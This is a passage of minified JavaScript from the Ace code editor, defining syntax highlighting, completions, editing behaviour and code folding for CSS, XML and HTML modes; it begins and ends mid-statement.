r|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(